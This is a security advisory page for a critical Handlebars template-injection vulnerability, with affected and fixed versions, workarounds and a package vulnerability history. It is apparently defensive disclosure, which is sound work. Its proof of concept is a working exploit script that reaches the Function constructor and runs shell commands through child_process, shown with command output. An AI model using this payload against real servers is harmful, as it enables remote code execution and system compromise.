Critical

Handlebars: JavaScript Injection via Own Property Check Bypass

  • Disclosed: 08.10.2026
  • Updated: 12.10.2026 17:17

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

js
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

js
Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

  1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
  2. Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
  3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
js
const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package handlebars >= 3.0.0, < 4.7.10 4.7.10

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-1289, CWE-184
Platform
npm
Package
handlebars
Disclosed
08.10.2026
Updated
12.10.2026 17:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-p8wg-vrv2-v86f - CC BY 4.0

Vulnerability history: handlebars

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (22) in the archive
Total entries
22
First → latest
10.2018 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 10
  • Medium 5
  • Low 1

Disclosures per year

  1. 2018: 1
  2. 2019: 2
  3. 2020: 4
  4. 2021: 1
  5. 2022: 3
  6. 2023: 0
  7. 2024: 0
  8. 2025: 0
  9. 2026: 11
Severity:
  1. Handlebars: JavaScript Injection via Own Property Check Bypass this entry
    Critical CVE-2026-106445 >= 3.0.0, < 4.7.10 4.7.10
  2. Critical · 9.8 CVE-2026-33937 >= 4.0.0, < 4.7.9 4.7.9
  3. Critical · 9.8 CVE-2021-23383 < 4.7.7 4.7.7
  4. High · 7.5 CVE-2019-20922 >= 4.0.0, < 4.4.5 4.4.5
  5. High · 8.1 CVE-2019-20920 < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  6. Critical · 9.8 CVE-2021-23369 < 4.7.7 4.7.7
  7. High ghsa-q2c6-c6pm-g3gh < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  8. High ghsa-g9r4-xpmj-mj65 < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  9. High · 7.3 ghsa-2cf5-4w76-r9qv < 3.0.8, >= 4.0.0, < 4.5.2 3.0.8, 4.5.2
  10. Critical · 9.8 CVE-2019-19919 >= 4.0.0, < 4.3.0, < 3.0.8 4.3.0, 3.0.8
  11. High · 7.3 ghsa-q42p-pg8m-cqh6 >= 4.1.0, < 4.1.2, >= 4.0.0, < 4.0.14, < 3.0.7 4.1.2, 4.0.14, 3.0.7

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.